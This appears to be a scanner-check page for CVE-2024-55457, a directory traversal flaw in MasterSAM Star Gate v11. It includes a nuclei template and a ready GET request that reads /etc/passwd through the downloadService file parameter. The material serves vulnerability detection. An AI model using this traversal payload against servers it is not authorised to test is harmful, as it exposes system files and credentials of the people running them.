MasterSAM Star Gate v11 - Local File Inclusion

highseverity

6.5CVSS score

3.1%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

MasterSAM Star Gate v11 is vulnerable to a directory traversal attack via the endpoint /adama/adama/downloadService. An attacker can exploit this vulnerability by manipulating the file parameter to access arbitrary files on the server, potentially leading to the exposure of sensitive information.

Impact

Unauthenticated attackers can exploit directory traversal to read arbitrary files from the server, potentially exposing sensitive configuration data, credentials, and system files.

Fix

Contact MasterSAM for a patched version of Star Gate v11 that addresses the directory traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/adama/adama/downloadService?type=1&file=../../../../etc/passwd
Positive when: contains_all(header, 'application/octet-stream', 'filename=') and regex('root:.*:0:0:', body) and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-55457 -u <target>

The full check

id: CVE-2024-55457

info:
  name: MasterSAM Star Gate v11 - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: |
    MasterSAM Star Gate v11 is vulnerable to a directory traversal attack via the endpoint /adama/adama/downloadService. An attacker can exploit this vulnerability by manipulating the file parameter to access arbitrary files on the server, potentially leading to the exposure of sensitive information.
  impact: |
    Unauthenticated attackers can exploit directory traversal to read arbitrary files from the server, potentially exposing sensitive configuration data, credentials, and system files.
  remediation: |
    Contact MasterSAM for a patched version of Star Gate v11 that addresses the directory traversal vulnerability.
  reference:
    - https://github.com/h13nh04ng/CVE-2024-55457-PoC
    - https://x.com/cyber_advising/status/1876034270852231257
  classification:
    cve-id: CVE-2024-55457
    cwe-id: CWE-22
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    epss-score: 0.03094
    epss-percentile: 0.87839
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"MasterSAM"
  tags: cve,cve2024,lfi,mastersam,v11,adama,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/adama/adama/downloadService?type=1&file=../../../../etc/passwd"

    matchers:
      - type: dsl
        dsl:
          - "contains_all(header, 'application/octet-stream', 'filename=')"
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from